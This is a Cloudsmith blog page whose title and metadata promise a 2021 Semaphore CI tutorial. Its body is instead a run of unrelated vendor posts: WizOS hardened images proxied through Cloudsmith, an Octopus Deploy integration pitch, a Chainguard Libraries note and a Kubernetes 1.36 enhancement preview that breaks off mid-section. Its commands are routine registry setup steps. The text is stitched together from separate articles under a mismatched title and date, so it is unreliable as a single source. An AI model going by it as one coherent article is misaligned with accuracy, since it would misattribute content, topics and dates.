---
title: "Using Semaphore CI to Push Packages to Cloudsmith | Cloudsmith"
description: "A short demo of how you can set up a Semaphore CI workflow to push a package to a private Cloudsmith repository."
canonical_url: "https://cloudsmith.com/blog/using-semaphore-ci-to-push-packages-to-cloudsmith"
last_updated: "2021-05-18T00:00:00.000Z"
---
# Using Semaphore CI to Push Packages to Cloudsmith | Cloudsmith

Every container inherits its base image. If that image carries unpatched CVEs, your application does too – before you've written a line of code. Hardened images fix the baseline: compiled from source with SLA-backed patching that keeps them clean after day one.



Distribution of these hardened images becomes a challenge. Security teams can pick a better image source, but making that image the default for every developer and build agent means new registry credentials per team and changes to how they pull. Adoption rollout becomes its own project, and it compounds across every team building containers. That's where adoption stalls.



Together, [WizOS](https://www.wiz.io/solutions/wizos) and Cloudsmith address the security and distribution aspects of using hardened images. WizOS compiles hardened container base images from source in an auditable pipeline, backed by strict remediation SLAs and cryptographic provenance. Cloudsmith puts those images behind the registry URL your teams already use, authenticated with credentials they already have.

## What WizOS brings to the table

Wiz doesn't pull pre-built packages from upstream public repos and assemble them. Wiz compiles its WizOS images from source in a controlled, auditable pipeline they own. You benefit from strict remediation SLAs that guarantee near-zero CVEs: 7 days for criticals, 14 days for highs and mediums. These builds also produce cryptographically verifiable provenance and signatures, so you can confirm exactly what shipped and where it originated. WizOS images have a minimal footprint, using only the components an image actually needs and `glibc` for broad compatibility with existing applications.



Hardened images writ large have the same goal: trust a maintained baseline instead of public open source upstreams. Wiz backs its WizOS hardened images with its own vulnerability and runtime data.

## Use Cloudsmith to make WizOS a default

Cloudsmith treats the WizOS Registry like any other upstream (e.g., Docker Hub, npm, PyPI), as a source you proxy and cache behind your existing Cloudsmith repository URL. Developers don’t need to change how they pull images.

### Setup steps



1. **Add WizOS as an upstream.** In your Cloudsmith repository's Upstream Proxying settings, create a new Docker-format upstream pointing at `https://registry.os.wiz.io`, set your priority, and choose Cache and Proxy.

2. **Connect your WizOS credentials <u>once</u>**. Grab your Wiz Registry credentials from your WizOS tenant (Profile > Tenant Info > Wiz Registry Credentials) and configure them on the upstream. From here, Cloudsmith handles authentication on behalf of every developer and build agent, so nobody else needs a WizOS login.

3. **Pull like normal. **Developers `docker login docker.cloudsmith.io` and pull images using their existing Cloudsmith repository path, for example:

```json
{
  "_key": "6c876aba7398",
  "_type": "code",
  "code": "docker pull docker.cloudsmith.io/ORGANIZATION/REPOSITORY/wizos-base:latest",
  "filename": null,
  "language": "shell",
  "markDefs": null
}
```

Cloudsmith resolves the image, caches it on the first pull, and serves it from Cloudsmith's edge network on every subsequent pull.



Full setup steps are in Cloudsmith’s [WizOS integration docs](https://docs.cloudsmith.com/integrations/integrating-with-wizos).

## Skipping docker login entirely

Once you configure WizOS in Cloudsmith the one remaining manual step, `docker login docker.cloudsmith.io`, becomes optional. The Cloudsmith CLI's new Docker credential helper (added in [v1.19.0](https://docs.cloudsmith.com/developer-tools/cli)) lets Docker authenticate to Cloudsmith registries automatically, using credentials your CLI already has.



Run this once per machine:

```json
{
  "_key": "c3c16f8255e2",
  "_type": "code",
  "code": "cloudsmith credential-helper install docker",
  "filename": null,
  "language": "shell",
  "markDefs": null
}
```

This installs a `docker-credential-cloudsmith` launcher binary and registers it in `~/.docker/config.json`. From that point on, `docker pull` and `docker push` against your Cloudsmith registries, WizOS included, just work. You don’t need to worry about a login step, copying a token into CI secrets, or risk having credentials sitting in a config file that can expire or leak.



The helper also discovers any custom Cloudsmith registry domains on your account via the API and caches them locally, so it isn't limited to the default `docker.cloudsmith.io` host. If you need to point it at additional hostnames, pass `--domain` (repeatable); use `--dry-run` to preview what it would change before it changes anything; and skip the auto-discovery step with `--no-discover` if you'd rather manage the domain list yourself. When you need to back the help out, `cloudsmith credential-helper uninstall docker` removes it. Run `cloudsmith credential-helper list` to verify what's currently installed.



The Cloudsmith credential helper gives you one line in your provisioning script for all your build agents instead of a `docker login` call (and a credential) in every pipeline.

## The WizOS / Cloudsmith combination

What the WizOS/Cloudsmith combination gives you is a pattern, not just a configuration. Your WizOS credentials live in Cloudsmith's upstream config once. No developer or build agent ever handles them directly. The credential helper removes the last manual authentication step, so pipelines authenticate using CLI credentials they already have. The initial base image pull caches in Cloudsmith, so every build after that comes from your own repo and upstream availability stops affecting your pipeline.

The credential handling and image caching are the operational wins. The broader payoff is that Cloudsmith becomes the control plane across your entire software supply chain. The same policy engine that applies to your application dependencies applies to WizOS images sitting in the same repository. Vulnerability scanning, environmental policies, and access controls run consistently from the base image through to the finished artifact, without separate tooling at each layer.

When your upstreams converge on a single Cloudsmith endpoint (e.g., WizOS, Docker Hub, npm, PyPI), security teams have one governed URL to apply policy to, and development teams have one URL to pull from. Nobody manages a separate credential per upstream, and policy coverage doesn't have gaps between the container layer and the application layer.

## Closing thoughts

WizOS gives you a hardened starting point: images compiled from source, with SLA-backed patching that protects from CVEs. Cloudsmith makes that starting point the default across your org. Developers pull from the same URL with the same credentials. The secure path is also the easiest one.



Want to see how WizOS hardened images and your existing registries can all sit behind one Cloudsmith endpoint? [Book a technical deep-dive](https://cloudsmith.com/book-a-demo).



Shipping software requires two kinds of trust. The first is trust in what you build – that the artifact is secure, compliant, and approved for use. The second is trust in how you deliver it – that the right artifact moves to the right environment, with the right controls, every time.

Pipelines tend to handle the mechanics of both. Where they struggle is maintaining trust across the handoff between the two – and at scale, that gap is where risk compounds. Risk may include untrusted packages slipping through, environment-specific guesswork, manual steps under pressure, or reconstructing audit trails after the fact. Securing the handoff point requires both artifact governance _and_ deployment control working in concert.

That's the problem a [golden path](https://cloudsmith.com/blog/golden-paths-made-easy-with-cloudsmith) is designed to solve. A golden path makes the secure path the default path – governance baked into the delivery workflow from the start, not added as an afterthought. The Cloudsmith and Octopus Deploy integration is built on that principle.

## What continuous trust actually requires

Continuous trust doesn't emerge automatically from good tooling. Continuous integration (CI) systems build and test. Artifact registries store packages. Deployment tools ship to environments. Each does its job well in isolation. But the connections between these stages – the handoffs – are where governance tends to break down.

Artifacts accumulate in registries without clear signals about which are approved, safe, or compliant. Environment promotion logic gets buried in scripts few people fully understand. Approval processes drift into inboxes and informal agreements. When something goes wrong – or an auditor asks a direct question – there’s a scramble to reconstruct evidence rather than retrieve it.

The problem isn't the tools. It's that no single tool owns the full journey from "is this artifact trustworthy?" to "how, when, and where does it get deployed?" Continuous trust requires answering both questions, and connecting the answers.

## Two tools, one clear handoff

Cloudsmith and Octopus Deploy cover that full journey. Each tool owns a distinct half, with a clean policy handoff between them.

### Cloudsmith: Artifact trust before deployment

Cloudsmith is a universal artifact registry built for the enterprise. But its role in the delivery lifecycle starts well before an artifact is ready to deploy.

From the moment a dependency enters your environment, Cloudsmith enforces trust. Vulnerability matching, license compliance checks, access controls, and policy management govern what gets in, what gets promoted, and what earns approval for use – consistently, across every team and package format. By the time an artifact reaches Octopus Deploy, the governance work is already done. Trust hasn't just been verified at the gate; it's been maintained throughout.

This answers the question every pipeline needs to resolve: _Is this artifact safe and approved to deploy?_

### Octopus Deploy: Controlled delivery from build to production

Octopus Deploy is a dedicated continuous delivery (CD) platform, purpose-built to take over where your CI server ends. It handles the full release orchestration process: environment promotion, approval gates, role-based access control (RBAC), deployment automation, and operational runbooks.

Where CI tools give you a place to run a deployment script, Octopus Deploy gives you a model for how software actually moves through your organization. The same artifact promotes from dev to test to production. Environment-specific variables are scoped without hardcoding. Deployments use strategies like rolling, blue/green, or canary depending on your risk tolerance. A single dashboard shows exactly what version is running in every environment.

This answers the other question your pipeline needs to resolve: _How, when, and where should this trusted artifact ship?_

### **The policy handoff**

When Cloudsmith and Octopus Deploy work together, the result is a clear division of responsibility:

- Cloudsmith decides what's allowed
- Octopus Deploy controls how it ships

Teams configure Octopus Deploy to consume only approved artifacts from Cloudsmith. An artifact is built, stored, and validated in Cloudsmith – with trust enforced at every step. Octopus Deploy picks it up and governs its promotion across environments. The same artifact moves through every stage: no rebuilds, no drift, no manual selection.

## What teams actually get

**End-to-end traceability and audit-ready evidence**

Security checks in Cloudsmith and deployment records in Octopus Deploy capture every stage of the journey by design, not after the fact. That means audits stop being fire drills.



**Faster releases with fewer failures**

Removing manual artifact selection and environment-specific guesswork eliminates a significant source of production incidents. When every team knows what's been approved and exactly how it gets deployed, releases become predictable rather than stressful.



**Consistent delivery at enterprise scale**

As organizations grow across teams, regions, and infrastructure types – containers, VMs, Kubernetes, hybrid environments – delivery standards tend to fragment. This integration lets platform teams define policies once and reuse them across every infrastructure variation. Legacy workloads and cloud-native services follow the same governed path.

## The bottom line

A delivery pipeline is only as trustworthy as its weakest handoff. A golden path fixes that by making governance the default – not a gate teams pass through, but a road built that way from the start.

Cloudsmith and Octopus Deploy together are that road. Cloudsmith maintains artifact trust throughout the lifecycle. Octopus Deploy controls how trusted artifacts move to production. The result is an environment where the secure path and the convenient path are the same, and where audit evidence is a natural byproduct of doing things right.

**See what a governed artifact pipeline looks like in your environment. [Talk to a Cloudsmith engineer](https://cloudsmith.com/book-a-demo)<u>.</u>**

Managing software dependencies is one of those things that sounds simple, but gets really, really tricky. Building enterprise software at scale usually means pulling in thousands of open source libraries, container images, models, OS packages, and other binary artifacts, tracing a dependency graph that can go many levels deep. All this software re-use provides huge benefits in terms of efficiency (why write the same code over and over) and security (use battle-tested code). But it also opens up the software supply chain to threat vectors from malicious actors.



Our partner Chainguard provides an essential service in shipping vulnerability-free container images, along with software packages that are safely built from verified sources. Many of our customers rely on Chainguard for this binary content, processed through the Cloudsmith control plane and served over our distribution network.



Of course, not all of Chainguard’s customers use Cloudsmith. To take advantage of a product like Chainguard Libraries, a typical company will need to address at least a few of these requirements, notably the need to blend Chainguard-sourced Javascript libraries with the global set of packages available from the npmjs public registry. At yesterday’s [Chainguard Assemble](https://assemble.chainguard.dev/) event, Chainguard announced [Chainguard Repository](https://www.chainguard.dev/unchained/introducing-chainguard-repository), which provides an npm proxy along with the ability to enforce cooldown and license policies. We expect this functionality will open up a new market for Chainguard Libraries among customers who may not yet have a robust artifact management platform in place.



Naturally, we think the combination of Chainguard + Cloudsmith provides an even better experience. Cloudsmith puts Chainguard content into the broader context of an enterprise’s entire software supply chain, including blending Chainguard indexes with upstream public registries (like npm and PyPI), commercial libraries, and locally sourced packages. Cloudsmith adds critical services like upstream caching; a general-purpose policy-as-code engine; comprehensive scanning for vulnerabilities, licenses, and malware; support for 30+ formats beyond Javascript and Python; a high-performance global package delivery network; logs and observability; and much more.



We hope more companies adopt [Chainguard Libraries](https://www.chainguard.dev/libraries) as an important addition to their build processes. And we agree wholeheartedly with Chainguard that the most practical way to consume Chainguard Libraries is through an artifact management layer. Given the increased pace of software development with the advent of agentic AI development tools, this degree of security and control is essential for securing the software supply chain.

[**Kubernetes 1.36**](https://kubernetes.io/releases/1.36/) will be the first Kubernetes major release of 2026, and it’s full of really exciting updates for security, AI hardware, and more! As always, removing enhancements with the status of “_Deferred_” or “_Removed from Milestone_” we are seeing 80 enhancements in all listed within the [**official tracker**](https://github.com/orgs/kubernetes/projects/241/views/1). So, what can we expect in 1.36?



Kubernetes 1.36 brings a whole bunch of useful enhancements, including 36 changes tracked as ‘[**Graduating**](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-status%3ADeferred%2C%22Removed+from+Milestone%22+enhancement-type%3AGraduating)’ in this Kubernetes release. From these, just [**18 enhancements**](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-status%3ADeferred%2C%22Removed+from+Milestone%22+enhancement-type%3AGraduating+stage%3AStable) are currently graduating to stable, such as **Support for User Namespaces in pods** and **Mutating Admission Policies**, as well as [**4 DRA-specific**](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-status%3ADeferred%2C%22Removed+from+Milestone%22+enhancement-type%3AGraduating+stage%3AStable+dra%3A) enhancements graduating to that GA status.



A whopping [**26 new alpha**](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-status%3ADeferred%2C%22Removed+from+Milestone%22+enhancement-type%3A%22Net+New%22+stage%3AAlpha) features are also listed in the enhancements tracker, one of which introduces the ability to report when a PVC was last used in `pvc.Status`. A simple by powerful use-case where users can now see if a PVC is sitting unused, so in larger clusters this would really help DevOps teams to get rid of any unused and unwanted PVCs.



As always, let’s jump into all of the major graduations, deferred enhancements and deprecations scheduled for Kubernetes 1.36.



## **Kubernetes 1.36 – Editor’s pick:**

Here are a few of the changes that Cloudsmith employees are most excited about in this release:



[**#5055 Taints and Tolerations in DRA**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-scheduling/5055-dra-device-taints-and-tolerations)  
It’s becoming a regular comment in these recent Kubernetes release notes, but the DRA API is seeing a LOT of exciting enhancements in the 1.36 update. [[**#4815**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-scheduling/4815-dra-partitionable-devices), [**#4816**](https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/4816-dra-prioritized-list/README.md), [**#5007**](https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/5007-device-attach-before-pod-scheduled/README.md), [**#5004**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-scheduling/5004-dra-extended-resource), [**#5491**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-scheduling/5491-dra-list-types-for-attributes), [**#5075**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-scheduling/5075-dra-consumable-capacity), [**#5729**](https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/5729-resourceclaim-support-for-workloads/README.md), and [**#5517**](https://github.com/kubernetes/enhancements/issues/5517) all updated in this release]. This led the Cloudsmith team to add dedicated **sig-storage** and **sig-node** sections **<u>just for DRA</u>** updates. Anyways, this specific DRA enhancement is exciting because it brings more granularity and automation to hardware management, allowing admins to take specific devices offline for maintenance without disrupting the entire cluster. By introducing taints and tolerations for hardware, similar to what we already have for pod deployments, we can all benefit from automatically rescheduling pods away from failing devices while still letting specialised test pods access them for daily troubleshooting activities.

**_Nigel Douglas - Head of Developer Relations_**







[**#4639 OCI VolumeSource**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-node/4639-oci-volume-source)  
I am absolutely thrilled to see OCI image volumes finally hitting Stable status in Kubernetes 1.36 because, as a Product Manager working on the OCI format support at Cloudsmith, I can see this enhancement turning existing container registries into universal artifact hubs. For years, dev teams have been forced into the so-called fat image anti-pattern, where they’re basically bundling massive [**ML models**](https://cloudsmith.com/blog/extending-supply-chain-governance-to-ai-and-ml-artifacts), static assets, and binary plugins directly into their application images, which ultimately creates a nightmare for security patching and bloats deployment times. By graduating this to Stable, we’re now seeing a native, high-performance way to decouple user data from your logic. Devs can now push Hugging Face LLM weights or commercial signatures as independent OCI artifacts and mount them as a `VolumeSource` just as easily as a ConfigMap. This doesn't just simplify CI/CD pipelines by allowing platform teams to swap content without rebuilding the base engine, but it also drastically shrinks your potential attack surface for the platform teams who are managing these deployments. It’s a massive win for the ecosystem that transforms the OCI registry from a basic storage location for apps into a more dynamic, structured delivery system for any content that a pod needs to succeed.

**_Liana Ertz - Product Manager_**







[**#5793 Manifest-based Admission Control configuration**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-api-machinery/5793-manifest-based-admission-control-config)  
As a CSM, I’m genuinely stoked for this 1.36 feature because it finally lets platform teams secure their actual admission control configs. When we think about moving mission-critical policies from the API to static files on the control plane disk, platform teams can now prevent the scary security blindspot where the cluster was vulnerable during the startup. Based on what I'm hearing from the teams I work with, this means vital guardrails (like blocking privileged containers) are now immune to accidental `kubectl` `delete` commands or **etcd** crashes. It’s a massive win for their platform stability, providing platform engineers with a somewhat tamper-proof approach to keeping the [**Golden Path**](https://cloudsmith.com/events/webinars/building-trust-from-source-to-ship-cloudsmith-and-octopus-deploy) secure from the very first second the API server wakes up.

**_Amy Strutton - Customer Success Manager_**





## **Apps in Kubernetes 1.36**

[#5440](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-apps&pane=issue&itemId=150462240&issue=kubernetes%7Cenhancements%7C5440) _Mutable Container Resources when Job is suspended  
_**Stage:** Graduating to Beta  
**Feature group:** sig-apps

This proposal seeks to enhance Kubernetes Batch Job management by relaxing the immutability of a Job’s Pod template while it is in a **suspended state**. Building on the existing `suspend` flag, this change would allow higher-level queue controllers to mutate resource specifications (specifically **CPU**, **Memory**, **GPU**, and **extended Resource Requests / Limits**) before a Job is unsuspended and pods are created. By allowing these updates, cluster administrators and automated controllers can dynamically optimise resource allocation based on real-time cluster capacity, current queue priorities, and actual workload utilisation, ensuring that expensive hardware like GPUs is used efficiently.



The design ensures that these mutations are only permitted when a Job is fully suspended and has no active pods, mitigating the risk of disrupting running workloads. While the proposal does not include implementing a specific queue controller or supporting in-place pod updates, it provides the necessary API primitives for external tools (like [**Kueue**](https://kueue.sigs.k8s.io/)) to perform checkpointing and resizing. This flexibility allows a Job to be suspended, its resource requests lowered to match actual usage, and then resumed, thereby improving overall cluster throughput and reducing resource waste.



[#3541](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-apps&pane=issue&itemId=150817776&issue=kubernetes%7Cenhancements%7C3541) _Add Recreate Update Strategy to StatefulSet  
_**Stage:** Net New to Alpha  
**Feature group:** sig-apps

Starting in Kubernetes 1.36, the introduction of the **Recreate Update Strategy** for StatefulSets addresses a long-standing [**stuck rollout issue**](https://github.com/kubernetes/kubernetes/issues/67250) that has plagued users since 2018. Previously, if a StatefulSet update was triggered with a broken configuration (such as a non-existent Docker image), the controller would wait indefinitely for the failing Pod to become `Ready` before proceeding. Even if a user reverted the configuration to a known-good state, the StatefulSet would refuse to manage or fix the broken Pod because it was stuck in a validation loop, forcing administrators to manually delete the Pod to unblock the controller.

The new **Recreate** strategy (moving to Alpha in this update) provides a more aggressive alternative to the standard RollingUpdate. It allows the StatefulSet controller to prioritise reaching the desired state by terminating existing Pods before creating new ones, effectively bypassing the `waiting for ready` deadlock. This change transforms what was previously documented as a known issue into a manageable configuration, ensuring that automated CI/CD pipelines and operators can recover from misconfigurations without manual human intervention.



[#5547](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-apps&pane=issue&itemId=151286998&issue=kubernetes%7Cenhancements%7C5547) _WAS: Integrate Workload APIs with Job controller  
_**Stage:** Net New to Alpha  
**Feature group:** sig-apps

The feature represents a major step in Kubernetes' evolution to natively support complex batch and AI/ML workloads. Historically, Kubernetes scheduled individual Pods independently, which caused issues for distributed training jobs that require all participants to start simultaneously (gang scheduling). This feature introduces the **Workload API** and a decoupled **PodGroup** object to act as a link between high-level controllers (like the Job controller) and the scheduler. By integrating these, the Job controller can now automatically generate a Workload representation of itself, allowing the scheduler to understand the resource requirements and scheduling constraints of the entire group of pods rather than treating them as isolated units.

For the Kubernetes 1.36 Alpha update, the proposal focuses on standardising this integration and refining the API surface. Key changes include introducing the PodGroup as a standalone runtime object and renaming the embedded field within the Workload spec to `PodGroupTemplate` to ensure a cleaner, more extensible hierarchy. Specifically for the Job controller, the 1.36 update aims to enable the creation of Workload and PodGroup objects by default for **_static_** Jobs (those where parallelism does not change). This release also seeks to resolve a critical debate on **Scheduling Policies**, which is whether the release team should maintain separate **_Basic_** and **_Gang_** policies or to unify them into a single parameter where a `minCount `of 1 represents basic scheduling and a `minCount` equal to the total replicas represents strict gang scheduling.



[#5882](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-apps&pane=issue&itemId=154394823&issue=kubernetes%7Cenhancements%7C5882) _Deployment Pod Replacement Policy  
_**Stage:** Net New to Alpha  
**Feature group:** sig-apps

The PR [**#5883**](https://github.com/kubernetes/enhancements/pull/5883) marked a simple, formal separation of two different KEPs that were previously managed as a single unit: [**KEP-3973**](https://github.com/kubernetes/enhancements/issues/3973) (terminating pods in Deployments) and [**KEP-5882**](https://github.com/kubernetes/enhancements/issues/5882) (the Deployment pod replacement policy). The split was justified because the #3973 enhancement which introduced the `.status.terminatingReplicas` field to track pods in the process of shutting down moved through the development cycle faster than the more complex pod replacement policy. By decoupling them, the [**sig-apps**](https://kubernetes.io/blog/2025/03/12/sig-apps-spotlight-2025/) team can now track their graduation through Alpha, Beta, and Stable stages independently, preventing the progress of one from being stalled by the other.

The merged changes include updated documentation and readiness reviews (PRRs for short) for both features. Key technical discussions during the PR focused on ensuring proper version skew policies, specifically requiring that the `kube-apiserver` be upgraded before the `kube-controller-manager` to avoid status synchronisation issues. While the terminating replicas feature is already seeing implementation in recent releases, the specific API and logic for the pod replacement policy remain in progress, now neatly organised under its own dedicated proposal for future tracking in the 1.36 update.



## **API in Kubernetes 1.36**

[#3962](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-api-machinery&pane=issue&itemId=153946736&issue=kubernetes%7Cenhancements%7C3962) _Mutating Admission Policies  
_**Stage:** Graduating to Stable  
**Feature group:** sig-api-machinery

Graduating to stable, Mutating Admission Policies introduce a declarative, in-process alternative to traditional mutating admission webhooks by leveraging **Common Expression Language ([CEL](https://kubernetes.io/docs/reference/using-api/cel/))**. This enhancement allows cluster administrators to define resource modifications (such as injecting sidecar containers, enforcing image pull policies, or setting default labels) directly within Kubernetes using `MutatingAdmissionPolicy` and `MutatingAdmissionPolicyBinding` objects. By using CEL's object instantiation alongside **Server-Side Apply ([SSA](https://kubernetes.io/docs/reference/using-api/server-side-apply/))** merge algorithms or [**JSON Patch**](https://kubernetes.io/docs/reference/kubectl/generated/kubectl_patch/#synopsis), the API server can perform these mutations internally, significantly reducing the operational overhead, latency, and webhook fatigue associated with maintaining external infrastructure.



Beyond simplicity, this native approach offers superior performance and reliability. Because the mutations are in-process, the `kube-apiserver` can introspect changes to optimise execution order and safely re-run policies to ensure [**idempotency**](https://en.wikipedia.org/wiki/Idempotence). While it does not aim for 100% feature parity with webhooks, specifically excluding external calls, it covers the vast majority of common use cases while providing a safety field to validate that mutations remain consistent. This move effectively brings the power and efficiency of `ValidatingAdmissionPolicies` to the mutation phase, creating a more robust and integrated policy management framework within the Kubernetes ecosystem.



[#5647](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-api-machinery&pane=issue&itemId=150462265&issue=kubernetes%7Cenhancements%7C5647) _Stale Controller Mitigation  
_**Stage:** Net New to Alpha  
**Feature group:** sig-api-machinery

This proposal introduces a mechanism to mitigate **controller staleness** in Kubernetes by allowing controllers to detect when their local cache lags behind the API server. Currently, controllers in the `kube-controller-manager` ([**KCM**](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/)) rely on eventually consistent watch streams, which can lead to spurious reconciles or incorrect decisions (like scaling or deleting resources) based on outdated data. To solve this, the enhancement proposes an opt-in read-after-write guarantee. By tracking the **Resource Version ([RV](https://medium.com/@Byunk/kubernetes-resource-version-c7baf409610b))** of objects after a write and updating the `ResourceEventHandlerFuncs` with a new `BookmarkFunc`, controllers can verify if their previous changes have propagated to the local cache before proceeding with the next reconciliation.



In practice, this logic will be integrated into the core processing loops of sensitive controllers, such as the DaemonSet controller. If a controller determines that its cache has not yet caught up to its last-written state, it will **skip and requeue** the object with exponential backoff rather than performing a potentially erroneous reconcile. This targeted approach ensures consistency for specific resources without imposing a global performance penalty, though it requires careful handling of edge cases like controller restarts and cache resyncs to prevent permanent reconciliation stalls.



## **CLI in Kubernetes 1.36**

[#3104](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+sig%3Asig-cli&pane=issue&itemId=150462161&issue=kubernetes%7Cenhancements%7C3104) _Separate kubectl user preferences from cluster configs  
_**Stage:** Major Change to Beta  
**Feature group:** sig-cli

The **kuberc** feature introduces a dedicated configuration file (typically located at `~/.kube/kuberc`) designed to separate individual user preferences, such as command aliases and default flag settings, from the cluster credentials and server information stored in a standard `kubeconfig`. This separation allows users to maintain consistent local workflows (like enforcing interactive delete confirmations or silencing deprecation warnings) across multiple clusters without modifying shared or auto-generated connection files. The major change moving into **v.1.36 Beta status** is that the feature is now **enabled by default**, whereas it previously required manual activation. To support this promotion, the update introduces the `kubectl kuberc` management command to help users programmatically view and edit their preferences, and it formalises security controls through a **credential plugin allowlist** to prevent the execution of untrusted binaries.



## **Kubernetes 1.36 Networking**

[#5311](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-network&pane=issue&itemId=150462233&issue=kubernetes%7Cenhancements%7C5311) _Relaxed validation for Services names  
_**Stage:** Graduating to Beta  
**Feature group:** sig-network

This relaxed ServiceName validation feature is an improvement designed to bring the naming constraints of Service resources into alignment with other standard Kubernetes objects. Historically, Services were restricted by a stricter **DNS-1035** label standard (_NameIsDNS1035Label_), which prohibited names from starting with a numeric digit. This update transitions the validation to the more flexible _NameIsDNSLabel_ standard, finally allowing users to create Services with names like `123-backend` or `8080-proxy`. In the transition from **Alpha to Beta**, the feature is moving from an opt-in experimental state to being **enabled by default** in the `kube-apiserver`. This graduation signifies that the community has successfully completed compatibility testing with downstream systems like DNS providers and Ingress controllers, and has verified that the change remains safe during cluster upgrades and downgrades by maintaining immutability checks on existing resource names.



[#3695](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-network&pane=issue&itemId=150892007&issue=kubernetes%7Cenhancements%7C3695) _Extend PodResources to include resources from DRA  
_**Stage:** Graduating to Stable  
**Feature group:** sig-network  
**Feature gate:** KubeletPodResourcesGet **Default value:** enabled  
**Feature gate:** KubeletPodResourcesDynamicResources **Default value:** enabled

This enhancement expands the **Kubelet PodResources API** to help improve visibility gap between the Kubernetes node and external monitoring tools. Historically, this API only allowed monitoring agents to see which CPUs or standard devices were assigned to a container. This feature extends that capability to include resources managed by the evolving DRA feature. By adding a `dynamic_resources` field and a new `Get()` method for targeted pod queries, the Kubelet can now report specific DRA-allocated hardware (such as GPUs or FPGAs) directly to monitoring stacks like [**Prometheus**](https://prometheus.io/) or [**NVIDIA's DCGM exporter**](https://docs.nvidia.com/datacenter/dcgm/latest/gpu-telemetry/dcgm-exporter.html). To ensure this data remains available even if a DRA driver goes offline, the system implements a checkpointing mechanism within the `DRAManager`, guaranteeing that resource assignments are preserved across Kubelet restarts.



The primary benefit of this enhancement is **granular observability for next-gen hardware**. Platform operators can now access per-pod metrics for DRA-managed resources, which is essential for accurate billing, performance tuning, and troubleshooting in AI/ML workloads. Since the feature is graduating to Stable in v1.36, the community can expect full production-ready reliability with a guaranteed [**99.9% success rate**](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3695-pod-resources-for-dra/README.md#what-are-the-reasonable-slos-service-level-objectives-for-the-enhancement) for `Get` and `List` requests over a rolling 5-minute window as well as low-latency response times (P99 < 100ms). The graduation to GA means the `KubeletPodResourcesDynamicResources` and `KubeletPodResourcesGet` feature gates will be locked to **on by default**, allowing third-party ecosystem tools to officially rely on stable gRPC fields without the risk of breaking changes or experimental instability.



[#4858](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-network&pane=issue&itemId=154265009&issue=kubernetes%7Cenhancements%7C4858) _IP/CIDR validation improvements  
_**Stage:** Graduating to Beta  
**Feature group:** sig-network

This is a security-focused refinement of how Kubernetes handles network addressing, specifically targeting the stricter validation of **IP addresses and CIDR strings** across the API. Historically, Kubernetes relied on older Go functions that were overly permissive, allowing ambiguous formats like IPv4 addresses with leading zeros (for example: `172.030.099.099`), which different systems might interpret differently (octal vs. decimal), potentially leading to security vulnerabilities like [**CVE-2021-29923**](https://github.com/kubernetes/website/issues/29724). For platform teams, this is highly beneficial because it eliminates many IP address risks and ensures consistency between Kubernetes and underlying network plugins (Calico and Cilium) and OS-level libraries. To maintain stability, the plan uses [**ratcheting validation**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-storage/1900-volume-snapshot-validation-webhook#backwards-compatibility), which prevents new invalid entries without breaking existing workloads, which means that teams can update a service’s labels without being forced to immediately fix a legacy IP field. This move toward canonical formats (like standardised IPv6 strings) simplifies long-term maintenance, auditing, and observability, as platform engineers can now trust that network data is unambiguous and follows a single source of truth format across the entire cluster.

## **Kubernetes 1.36 Authentication**

[#740](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-auth&pane=issue&itemId=150462038&issue=kubernetes%7Cenhancements%7C740) _API for external signing of Service Account tokens  
_**Stage:** Graduating to Stable  
**Feature group:** sig-auth

